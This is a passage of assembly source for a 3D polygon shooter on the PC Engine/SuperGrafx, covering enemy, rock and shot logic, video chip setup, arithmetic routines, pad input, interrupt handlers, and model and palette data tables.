sta enemyY+1, x
clc
lda enemyY, x
adc shipY
sta enemyY, x
lda enemyY+1, x
adc shipY+1
sta enemyY+1, x
lda #$00
sta enemyZ, x
lda #$20
sta enemyZ+1, x
sec
bra .jp1
.jp0: inx
inx
cpx #enemyMAX*2
bne .loop
.jp1:
rts
;----------------------------
moveEnemy:
;
clx
.loop: dec enemyState+1, x
lda enemyState, x
bmi .jp0
bne .jp1
sec
lda enemyZ, x
sbc #$40
sta enemyZ, x
lda enemyZ+1, x
sbc #$00
sta enemyZ+1, x
bpl .jp2
lda #$FF
sta enemyState, x
bra .jp0
.jp2:
lda enemyState+1, x
and #$0F
bne .jp0
sec
lda enemyZ, x
sbc #$00
lda enemyZ+1, x
sbc #$10
bmi .jp0
jsr setEnemyShot
bra .jp0
.jp1:
lda enemyState+1, x
bne .jp0
lda #$FF
sta enemyState, x
.jp0: inx
inx
cpx #enemyMAX*2
bne .loop
rts
;----------------------------
setEnemyModel:
;
clx
.loop: lda enemyState, x
jmi .jp0
lda enemyX, x
sta <translationX
lda enemyX+1, x
sta <translationX+1
lda enemyY, x
sta <translationY
lda enemyY+1, x
sta <translationY+1
lda enemyZ, x
sta <translationZ
lda enemyZ+1, x
sta <translationZ+1
mov <rotationX, #0
mov <rotationY, #128
mov <rotationZ, #0
mov <rotationSelect, #$12
lda enemyState, x
bne .jp01
movw <modelAddr, #modelData001
bra .jp99
.jp01:
lda enemyState+1, x
cmp #8
bcc .jp02
movw <modelAddr, #modelData004
bra .jp99
.jp02:
cmp #4
bcc .jp03
movw <modelAddr, #modelData005
bra .jp99
.jp03:
movw <modelAddr, #modelData006
.jp99:
phx
jsr setModel2
plx
.jp0: inx
inx
cpx #enemyMAX*2
jne .loop
rts
;----------------------------
initializeObject:
;
lda #$FF
clx
.loop: sta objectState, x
inx
inx
cpx #objectMAX*2
bne .loop
rts
;----------------------------
setObject:
;
clx
.loop: lda objectState, x
bpl .jp0
stz objectState, x
jsr getRandom
sta objectX, x
jsr getRandom
bmi .jpXmi
and #$03
bra .jpX
.jpXmi:
ora #$FC
.jpX:
sta objectX+1, x
clc
lda objectX, x
adc shipX
sta objectX, x
lda objectX+1, x
adc shipX+1
sta objectX+1, x
jsr getRandom
sta objectY, x
jsr getRandom
bmi .jpYmi
and #$03
bra .jpY
.jpYmi:
ora #$FC
.jpY:
sta objectY+1, x
clc
lda objectY, x
adc shipY
sta objectY, x
lda objectY+1, x
adc shipY+1
sta objectY+1, x
lda #$00
sta objectZ, x
lda #$20
sta objectZ+1, x
sec
bra .jp1
.jp0: inx
inx
cpx #objectMAX*2
bne .loop
.jp1:
rts
;----------------------------
moveObject:
;
clx
.loop: lda objectState, x
bmi .jp0
sec
lda objectZ, x
sbc #$80
sta objectZ, x
lda objectZ+1, x
sbc #$00
sta objectZ+1, x
bpl .jp0
lda #$FF
sta objectState, x
.jp0: inx
inx
cpx #objectMAX*2
bne .loop
rts
;----------------------------
setObjectModel:
;
clx
.loop: lda objectState, x
bmi .jp0
lda objectX, x
sta <translationX
lda objectX+1, x
sta <translationX+1
lda objectY, x
sta <translationY
lda objectY+1, x
sta <translationY+1
lda objectZ, x
sta <translationZ
lda objectZ+1, x
sta <translationZ+1
mov <rotationX, #0
mov <rotationY, #0
mov <rotationZ, #0
mov <rotationSelect, #$12
movw <modelAddr, #modelData002
phx
jsr setModel2
plx
.jp0: inx
inx
cpx #objectMAX*2
bne .loop
rts
;----------------------------
initializeShot:
;
lda #$FF
clx
.loop: sta shotState, x
inx
inx
cpx #shotMAX*2
bne .loop
rts
;----------------------------
setShot:
;
clx
.loop: lda shotState, x
bpl .jp0
stz shotState, x
lda shipX
sta shotX, x
lda shipX+1
sta shotX+1, x
lda shipY
sta shotY, x
lda shipY+1
sta shotY+1, x
lda shipZ
sta shotZ, x
lda shipZ+1
sta shotZ+1, x
bra .jp1
.jp0: inx
inx
cpx #shotMAX*2
bne .loop
.jp1:
rts
;----------------------------
moveShot:
;
clx
.loop: lda shotState, x
bmi .jp0
clc
lda shotZ+1, x
adc #4
sta shotZ+1, x
cmp #$20
bmi .jp0
lda #$FF
sta shotState, x
.jp0: inx
inx
cpx #shotMAX*2
bne .loop
rts
;----------------------------
setShotModel:
;
clx
.loop: lda shotState, x
bmi .jp0
lda shotX, x
sta <translationX
lda shotX+1, x
sta <translationX+1
lda shotY, x
sta <translationY
lda shotY+1, x
sta <translationY+1
lda shotZ, x
sta <translationZ
lda shotZ+1, x
sta <translationZ+1
mov <rotationX, #0
mov <rotationY, #0
mov <rotationZ, #0
mov <rotationSelect, #$12
movw <modelAddr, #modelData000
phx
jsr setModel2
plx
.jp0: inx
inx
cpx #shotMAX*2
bne .loop
rts
;----------------------------
signExt:
;a(sign extension) = a
bpl .convPositive
lda #$FF
bra .convEnd
.convPositive:
cla
.convEnd:
rts
;----------------------------
getAngle:
;
phx
phy
subw <mul16a, angleZ1, angleZ0
subw <mul16b, angleX1, angleX0
jsr atan
tax
eor #$FF
inc a
sta ansAngleY
subw transform2DWork0, angleX1, angleX0
subw transform2DWork0+2, angleY1, angleY0
subw transform2DWork0+4, angleZ1, angleZ0
mov vertexCount, #1
jsr vertexRotationY
movw <mul16a, transform2DWork0+4
movw <mul16b, transform2DWork0+2
jsr atan
sta ansAngleX
ply
plx
rts
;----------------------------
initializeVdc:
;
;reset wait
cly
.resetWaitloop0:
clx
.resetWaitloop1:
dex
bne .resetWaitloop1
dey
bne .resetWaitloop0
;set vdc
vdcdataloop: lda vdcData, y
cmp #$FF
beq vdcdataend
sta VDC1_0
sta VDC2_0
iny
lda vdcData, y
sta VDC1_2
sta VDC2_2
iny
lda vdcData, y
sta VDC1_3
sta VDC2_3
iny
bra vdcdataloop
vdcdataend:
;262Line VCE Clock 5MHz
movw VCE_0, #$0004
;set palette
stzw VCE_2
tia paletteData, VCE_4, $20*32
;CHAR set to vram
lda #chardatBank
tam #$06
;vram address $1000
mov VDC1_0, #$00
movw VDC1_2, #$1000
mov VDC1_0, #$02
tia $C000, VDC1_2, $2000
mov VDC2_0, #$00
movw VDC2_2, #$1000
mov VDC2_0, #$02
tia $C000, VDC2_2, $2000
;vsync
;+1
mov VDC1_0, #$05
movw VDC1_2, #$0008
.resetWait:
tst #$20, VDC1_0
beq .resetWait
rts
;----------------------------
puthex2:
;
pha
phx
phy
sta <puthexdata
stz <puthexaddr
sty <puthexaddr+1
lsr <puthexaddr+1
ror <puthexaddr
lsr <puthexaddr+1
ror <puthexaddr
lsr <puthexaddr+1
ror <puthexaddr
txa
ora <puthexaddr
sta <puthexaddr
lda <puthexdata
lsr a
lsr a
lsr a
lsr a
jsr numtochar
tax
lda <puthexdata
and #$0F
jsr numtochar
tay
lda <selectVdc
cmp #VDC2
beq .vdc_2
mov VDC1_0, #$00
movw VDC1_2, <puthexaddr
mov VDC1_0, #$02
stx VDC1_2
mov VDC1_3, #$01
addw <puthexaddr, #1
mov VDC1_0, #$00
movw VDC1_2, <puthexaddr
mov VDC1_0, #$02
sty VDC1_2
mov VDC1_3, #$01
bra .puthexEnd
.vdc_2:
mov VDC2_0, #$00
movw VDC2_2, <puthexaddr
mov VDC2_0, #$02
stx VDC2_2
mov VDC2_3, #$01
addw <puthexaddr, #1
mov VDC2_0, #$00
movw VDC2_2, <puthexaddr
mov VDC2_0, #$02
sty VDC2_2
mov VDC2_3, #$01
.puthexEnd:
ply
plx
pla
rts
;----------------------------
sdiv32:
;div16d:div16c / div16a = div16a div16b
;push x
phx
;push y
phy
;d sign
lda <div16d+1
pha
;d eor a sign
eor <div16a+1
pha
;d sign
bbr7 <div16d+1, .sdiv16jp00
;d neg
sec
cla
sbc <mul16c
sta <mul16c
cla
sbc <mul16c+1
sta <mul16c+1
cla
sbc <mul16d
sta <mul16d
cla
sbc <mul16d+1
sta <mul16d+1
.sdiv16jp00:
;a sign
bbr7 <div16a+1, .sdiv16jp01
;a neg
sec
cla
sbc <mul16a
sta <mul16a
cla
sbc <mul16a+1
sta <mul16a+1
.sdiv16jp01:
jsr udiv32
;anser sign
pla
bpl .sdiv16jp02
;anser neg
sec
cla
sbc <mul16c
sta <mul16a
cla
sbc <mul16c+1
sta <mul16a+1
bra .sdiv16jp04
.sdiv16jp02:
lda <div16c
sta <div16a
lda <div16c+1
sta <div16a+1
.sdiv16jp04:
;remainder sign
pla
bpl .sdiv16jp03
;remainder neg
sec
cla
sbc <mul16b
sta <mul16b
cla
sbc <mul16b+1
sta <mul16b+1
.sdiv16jp03:
;pull y
ply
;pull x
plx
rts
;----------------------------
udiv32:
;div16a div16b = div16d:div16c / div16a
;push x
phx
;dec div16a
lda <div16a
bne .jp00
dec <div16a+1
.jp00:
dec <div16a
ldx #$10
asl <div16c
rol <div16c+1
.jpPl00:
;div16d
rol <div16d
rol <div16d+1
lda <div16d
sbc <div16a
sta <div16d
lda <div16d+1
sbc <div16a+1
sta <div16d+1
bcc .jpMi01
.jpPl01:
rol <div16c
rol <div16c+1
dex
bne .jpPl00
lda <div16c
sta <div16a
lda <div16c+1
sta <div16a+1
lda <div16d
sta <div16b
lda <div16d+1
sta <div16b+1
;pull x
plx
rts
.jpMi00:
;div16d
rol <div16d
rol <div16d+1
lda <div16d
adc <div16a
sta <div16d
lda <div16d+1
adc <div16a+1
sta <div16d+1
bcs .jpPl01
.jpMi01:
rol <div16c
rol <div16c+1
dex
bne .jpMi00
sec
lda <div16d
adc <div16a
sta <div16b
lda <div16d+1
adc <div16a+1
sta <div16b+1
lda <div16c
sta <div16a
lda <div16c+1
sta <div16a+1
;pull x
plx
rts
;----------------------------
smul16:
;mul16d:mul16c = mul16a * mul16b
;a eor b sign
lda <mul16a+1
eor <mul16b+1
pha
;a sign
bbr7 <mul16a+1, .smul16jp00
;a neg
sec
cla
sbc <mul16a
sta <mul16a
cla
sbc <mul16a+1
sta <mul16a+1
.smul16jp00:
;b sign
bbr7 <mul16b+1, .smul16jp01
;b neg
sec
cla
sbc <mul16b
sta <mul16b
cla
sbc <mul16b+1
sta <mul16b+1
.smul16jp01:
jsr umul16
;anser sign
pla
bpl .smul16jp02
;anser neg
sec
cla
sbc <mul16c
sta <mul16c
cla
sbc <mul16c+1
sta <mul16c+1
cla
sbc <mul16d
sta <mul16d
cla
sbc <mul16d+1
sta <mul16d+1
.smul16jp02:
rts
;----------------------------
umul16:
;mul16d:mul16c = mul16a * mul16b
;push x y
phy
ldy <mul16b
lda mul2bankdata, y
tam #$02
lda mul2addrdata, y
stz <muladdr
sta <muladdr+1
ldy <mul16a
lda [muladdr], y
sta <mul16c
ldy <mul16a+1
lda [muladdr], y
sta <mul16c+1
inc <muladdr+1
clc
ldy <mul16a
lda [muladdr], y
adc <mul16c+1
sta <mul16c+1
ldy <mul16a+1
lda [muladdr], y
adc #0
sta <mul16d
ldy <mul16b+1
lda mul2bankdata, y
tam #$02
lda mul2addrdata, y
sta <muladdr+1
ldy <mul16a
lda [muladdr], y
adc <mul16c+1
sta <mul16c+1
ldy <mul16a+1
lda [muladdr], y
adc <mul16d
sta <mul16d
cla
adc #0
sta <mul16d+1
inc <muladdr+1
ldy <mul16a
lda [muladdr], y
adc <mul16d
sta <mul16d
ldy <mul16a+1
lda [muladdr], y
adc <mul16d+1
sta <mul16d+1
;pull y x
ply
rts
;----------------------------
initializePad:
;
stz <padlast
stz <padnow
stz <padstate
rts
;----------------------------
getpaddata:
;
lda <padnow
sta <padlast
lda #$01
sta IO_REG
lda #$03
sta IO_REG
lda #$01
sta IO_REG
lda IO_REG
asl a
asl a
asl a
asl a
sta <padnow
lda #$00
sta IO_REG
lda IO_REG
and #$0F
ora <padnow
eor #$FF
sta <padnow
lda <padlast
eor #$FF
and <padnow
sta <padstate
;get pad data end
rts
;----------------------------
initRandom:
;
lda #$C0
sta randomseed
sta randomseed+1
rts
;----------------------------
getRandom:
;
lda randomseed+1
lsr a
rol randomseed
bcc .getrandomJump
eor #$B4
.getrandomJump:
sta randomseed+1
eor randomseed
rts
;----------------------------
numtochar:
;in A Register $0 to $F
;out A Register '0'-'9'($30-$39) 'A'-'Z'($41-$5A)
cmp #10
bcs .numtochar000
ora #$30
rts
.numtochar000:
adc #$41-10-1
rts
;----------------------------
puthex:
;
pha
phx
phy
sta <puthexdata
stz <puthexaddr
sty <puthexaddr+1
lsr <puthexaddr+1
ror <puthexaddr
lsr <puthexaddr+1
ror <puthexaddr
lsr <puthexaddr+1
ror <puthexaddr
txa
ora <puthexaddr
sta <puthexaddr
lda <puthexdata
lsr a
lsr a
lsr a
lsr a
jsr numtochar
tax
lda <puthexdata
and #$0F
jsr numtochar
stz VDC_0
ldy <puthexaddr
sty VDC_2
ldy <puthexaddr+1
sty VDC_3
ldy #$02
sty VDC_0
stx VDC_2
ldy #$01
sty VDC_3
sta VDC_2
sty VDC_3
ply
plx
pla
rts
;----------------------------
_irq1:
;IRQ1 interrupt process
;ACK interrupt
pha
phx
phy
lda VDC1_0
sta <vdp1Status
lda VDC2_0
sta <vdp2Status
bbs7 <vsyncFlag, .vsyncProc
jmp .vsyncProcEnd
.vsyncProc:
lda <selectVdc
cmp #VDC2
beq .vdc2Jp
;+32 bg sp vsync
mov VDC1_0, #$05
movw VDC1_2, #$08C8
;+32
mov VDC2_0, #$05
movw VDC2_2, #$0800
;VRAM Clear
clx
cly
.vramClearLoop2:
mov VDC2_0, #$00 ;set VRAM addr
sty VDC2_2
movw VDC2_3, #$40
iny
mov VDC2_0, #$02 ;VRAM clear
lda vramClearData, x
sta VDC2_2
inx
lda vramClearData, x
sta VDC2_3
inx
cpx #$20
bne .vramClearLoop2
mov VDC2_0, #$10 ;set DMA src
movw VDC2_2, #$4000
mov VDC2_0, #$11 ;set DMA dist
movw VDC2_2, #$4010
mov VDC2_0, #$12 ;set DMA count
movw VDC2_2, #$4000-$10
bra .vdcEnd
.vdc2Jp:
;+32 vsync
mov VDC1_0, #$05
movw VDC1_2, #$0808
;+32 bg sp
mov VDC2_0, #$05
movw VDC2_2, #$08C0
;VRAM Clear
clx
cly
.vramClearLoop1:
mov VDC1_0, #$00 ;set VRAM addr
sty VDC1_2
movw VDC1_3, #$40
iny
mov VDC1_0, #$02 ;VRAM clear
lda vramClearData, x
sta VDC1_2
inx
lda vramClearData, x
sta VDC1_3
inx
cpx #$20
bne .vramClearLoop1
mov VDC1_0, #$10 ;set DMA src
movw VDC1_2, #$4000
mov VDC1_0, #$11 ;set DMA dist
movw VDC1_2, #$4010
mov VDC1_0, #$12 ;set DMA count
movw VDC1_2, #$4000-$10
.vdcEnd:
rmb7 <vsyncFlag
.vsyncProcEnd:
jsr getpaddata
dec frameCount
bne .irqEnd
lda #60
sta frameCount
lda drawCountWork
sta drawCount
stz drawCountWork
.irqEnd:
ply
plx
pla
rti
;----------------------------
_reset:
sei
csh
cld
ldx #$FF
txs
lda #$FF
tam #$00
lda #$F8
tam #$01
stz $2000
tii $2000, $2001, $1FFF
stz TIMER_CONTROL_REG
;disable interrupts TIQD IRQ2D
lda #$05
sta INTERRUPT_DISABLE_REG
;jump main
jmp main
;----------------------------
_irq2:
_timer:
_nmi:
;IRQ2 TIMER NMI interrupt process
rti
;----------------------------
vramClearData
.db $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,\
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
;----------------------------
;Circle Enemy Shot
modelData003
.dw modelData003Polygon
.db 1 ;polygon count
.dw modelData003Vertex
.db 1 ;vertex count
modelData003Polygon
; color 0-31
; front color * 8 + vertex count(3 or 4 or 7(circle)),
; back color * 8 + front clip flag($04 = cancel) + back check flag($02 = cancel) + back draw flag($01 = not draw : front side = counterclockwise) : circle radius / 2
; vertex index 0,
; vertex index 1,
; vertex index 2,
; vertex index 3
.db $03*8+7, $40, 0*6, 0*6, 0*6, 0*6
modelData003Vertex
.dw 0, 0, 0
;----------------------------
;Circle blast
modelData004
.dw modelData004Polygon
.db 1
.dw modelData004Vertex
.db 1
modelData004Polygon
.db $11*8+7, $FF, 0*6, 0*6, 0*6, 0*6
modelData004Vertex
.dw 0, 0, 0
;----------------------------
;Circle blast
modelData005
.dw modelData005Polygon
.db 1
.dw modelData005Vertex
.db 1
modelData005Polygon
.db $11*8+7, $80, 0*6, 0*6, 0*6, 0*6
modelData005Vertex
.dw 0, 0, 0
;----------------------------
;Circle blast
modelData006
.dw modelData006Polygon
.db 1
.dw modelData006Vertex
.db 1
modelData006Polygon
.db $11*8+7, $40, 0*6, 0*6, 0*6, 0*6
modelData006Vertex
.dw 0, 0, 0
;----------------------------
;Shot
modelData000
.dw modelData000Polygon
.db 2
.dw modelData000Vertex
.db 6
modelData000Polygon
.db $0C*8+3, $00*8+$00+$02+$01, 0*6, 1*6, 2*6, 0*6
.db $0C*8+3, $00*8+$00+$02+$01, 3*6, 4*6, 5*6, 0*6
modelData000Vertex
.dw -128, -32, 0
.dw -128, 0, 256
.dw -128, 32, 0
.dw 128, -32, 0
.dw 128, 0, 256
.dw 128, 32, 0
;----------------------------
;Enemy
modelData001
.dw modelData001Polygon
.db 6
.dw modelData001Vertex
.db 10
modelData001Polygon
.db $19*8+3, $00*8+$00+$00+$01, 0*6, 1*6, 2*6, 0*6
.db $1A*8+3, $00*8+$00+$00+$01, 0*6, 3*6, 1*6, 0*6
.db $1B*8+3, $00*8+$00+$00+$01, 0*6, 2*6, 3*6, 0*6
.db $1C*8+3, $00*8+$00+$00+$01, 3*6, 2*6, 1*6, 0*6
.db $02*8+3, $00*8+$00+$02+$01, 4*6, 5*6, 6*6, 0*6
.db $02*8+3, $00*8+$00+$02+$01, 7*6, 8*6, 9*6, 0*6
modelData001Vertex
.dw 0, 0, 128
.dw -128, 0, 0
.dw 128, 0, 0
.dw 0, 128, 0
.dw -128, 0, 256
.dw -128, 128, -256
.dw -128,-128, -256
.dw 128, 0, 256
.dw 128,-128, -256
.dw 128, 128, -256
;----------------------------
;Rock
modelData002
.dw modelData002Polygon
.db 4
.dw modelData002Vertex
.db 5
modelData002Polygon
.db $1A*8+3, $00*8+$00+$00+$01, 0*6, 1*6, 4*6, 0*6
.db $19*8+3, $00*8+$00+$00+$01, 1*6, 2*6, 4*6, 0*6
.db $1B*8+3, $00*8+$00+$00+$01, 2*6, 3*6, 4*6, 0*6
.db $1C*8+3, $00*8+$00+$00+$01, 3*6, 0*6, 4*6, 0*6
modelData002Vertex
.dw -96, 192, 0
.dw 212, 144, 0
.dw 0,-240, 0
.dw -384, -96, 0
.dw 48, -48, -192
;----------------------------
vdcData:
.db $05, $00, $00 ;+1 bgoff spoff
.db $0A, $02, $02 ;HSW $02 HDS $02
.db $0B, $1F, $04 ;HDW $1F HDE $04
.db $0C, $02, $0D ;VSW $02 VDS $0D
.db $0D, $EF, $00 ;VDW $00EF
.db $0E, $03, $00 ;VCR $03
.db $0F, $00, $00 ;DMA +1 +1
.db $07, $00, $00 ;scrollx 0
.db $08, $00, $00 ;scrolly 0
.db $09, $00, $00 ;32x32
.db $FF ;end
;----------------------------
paletteData:
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
.dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\
$01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF
;----------------------------
polyLineColor0:
.db $00, $00, $FF, $FF, $00, $00, $FF, $FF, $00, $00, $FF, $FF, $00, $00, $FF, $FF,\
$00, $00, $FF, $FF, $00, $00, $FF, $FF, $00, $00, $FF, $FF, $00, $00, $FF, $FF,\
$00, $00, $FF, $00, $00, $00, $FF, $FF, $00, $00, $FF, $FF, $00, $00, $FF, $FF,\
$00, $00, $55, $AA, $FF, $FF, $55, $AA, $00, $00, $AA, $55, $FF, $FF, $FF, $FF
;----------------------------
polyLineColor1:
.db $00, $00, $00, $00, $FF, $FF, $FF, $FF, $00, $00, $00, $00, $FF, $FF, $FF, $FF,\
$00, $00, $00, $00, $FF, $FF, $FF, $FF, $00, $00, $00, $00, $FF, $FF, $FF, $FF,\
$00, $00, $00, $00, $FF, $FF, $FF, $FF, $00, $00, $00, $00, $FF, $FF, $FF, $FF,\
$00, $00, $55, $AA, $FF, $FF, $55, $AA, $00, $00, $AA, $55, $FF, $FF, $FF, $FF
;----------------------------
polyLineColor2:
.db $00, $00, $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF,\
$00, $00, $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF,\
$00, $00, $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF,\
$00, $00, $55, $AA, $FF, $FF, $55, $AA, $00, $00, $AA, $55, $FF, $FF, $FF, $FF
;----------------------------
polyLineColor3:
.db $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,\
$FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF,\
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,\
$00, $00, $00, $00, $00, $00, $AA, $55, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
;----------------------------
mul2bankdata:
.db $00+mul2datBank, $00+mul2datBank, $00+mul2datBank, $00+mul2datBank,\
$00+mul2datBank, $00+mul2datBank, $00+mul2datBank, $00+mul2datBank,\
$00+mul2datBank, $00+mul2datBank, $00+mul2datBank, $00+mul2datBank,\
$00+mul2datBank, $00+mul2datBank, $00+mul2datBank, $00+mul2datBank,\
$01+mul2datBank, $01+mul2datBank, $01+mul2datBank, $01+mul2datBank,\
$01+mul2datBank, $01+mul2datBank, $01+mul2datBank, $01+mul2datBank,\
$01+mul2datBank, $01+mul2datBank, $01+mul2datBank, $01+mul2datBank,\
$01+mul2datBank, $01+mul2datBank, $01+mul2datBank, $01+mul2datBank,\
$02+mul2datBank, $02+mul2datBank, $02+mul2datBank, $02+mul2datBank,\
$02+mul2datBank, $02+mul2datBank, $02+mul2datBank, $02+mul2datBank,\
$02+mul2datBank, $02+mul2datBank, $02+mul2datBank, $02+mul2datBank,\
$02+mul2datBank, $02+mul2datBank, $02+mul2datBank, $02+mul2datBank,\
$03+mul2datBank, $03+mul2datBank, $03+mul2datBank, $03+mul2datBank,\
$03+mul2datBank, $03+mul2datBank, $03+mul2datBank, $03+mul2datBank,\
$03+mul2datBank, $03+mul2datBank, $03+mul2datBank, $03+mul2datBank,\
$03+mul2datBank, $03+mul2datBank, $03+mul2datBank, $03+mul2datBank,\
$04+mul2datBank, $04+mul2datBank, $04+mul2datBank, $04+mul2datBank,\
$04+mul2datBank, $04+mul2datBank, $04+mul2datBank, $04+mul2datBank,\
$04+mul2datBank, $04+mul2datBank, $04+mul2datBank, $04+mul2datBank,\
$04+mul2datBank, $04+mul2datBank, $04+mul2datBank, $04+mul2datBank,\
$05+mul2datBank, $05+mul2datBank, $05+mul2datBank, $05+mul2datBank,\
$05+mul2datBank, $05+mul2datBank, $05+mul2datBank, $05+mul2datBank,\
$05+mul2datBank, $05+mul2datBank, $05+mul2datBank, $05+mul2datBank,\
$05+mul2datBank, $05+mul2datBank, $05+mul2datBank, $05+mul2datBank,\
$06+mul2datBank, $06+mul2datBank, $06+mul2datBank, $06+mul2datBank,\
$06+mul2datBank, $06+mul2datBank, $06+mul2datBank, $06+mul2datBank,\
$06+mul2datBank, $06+mul2datBank, $06+mul2datBank, $06+mul2datBank,\
$06+mul2datBank, $06+mul2datBank, $06+mul2datBank, $06+mul2datBank,\
$07+mul2datBank, $07+mul2datBank, $07+mul2datBank, $07+mul2datBank,\
$07+mul2datBank, $07+mul2datBank, $07+mul2datBank, $07+mul2datBank,\
$07+mul2datBank, $07+mul2datBank, $07+mul2datBank, $07+mul2datBank,\
$07+mul2datBank, $07+mul2datBank, $07+mul2datBank, $07+mul2datBank,\
$08+mul2datBank, $08+mul2datBank, $08+mul2datBank, $08+mul2datBank,\
$08+mul2datBank, $08+mul2datBank, $08+mul2datBank, $08+mul2datBank,\
$08+mul2datBank, $08+mul2datBank, $08+mul2datBank, $08+mul2datBank,\
$08+mul2datBank, $08+mul2datBank, $08+mul2datBank, $08+mul2datBank,\
$09+mul2datBank, $09+mul2datBank, $09+mul2datBank, $09+mul2datBank,\
$09+mul2datBank, $09+mul2datBank, $09+mul2datBank, $09+mul2datBank,\
$09+mul2datBank, $09+mul2datBank, $09+mul2datBank, $09+mul2datBank,\
$09+mul2datBank, $09+mul2datBank, $09+mul2datBank, $09+mul2datBank,\
$0A+mul2datBank, $0A+mul2datBank, $0A+mul2datBank, $0A+mul2datBank,\
$0A+mul2datBank, $0A+mul2datBank, $0A+mul2datBank, $0A+mul2datBank,\
$0A+mul2datBank, $0A+mul2datBank, $0A+mul2datBank, $0A+mul2datBank,\
$0A+mul2datBank, $0A+mul2datBank, $0A+mul2datBank, $0A+mul2datBank,\
$0B+mul2datBank, $0B+mul2datBank, $0B+mul2datBank, $0B+mul2datBank,\
$0B+mul2datBank, $0B+mul2datBank, $0B+mul2datBank, $0B+mul2datBank,\
$0B+mul2datBank, $0B+mul2datBank, $0B+mul2datBank, $0B+mul2datBank,\
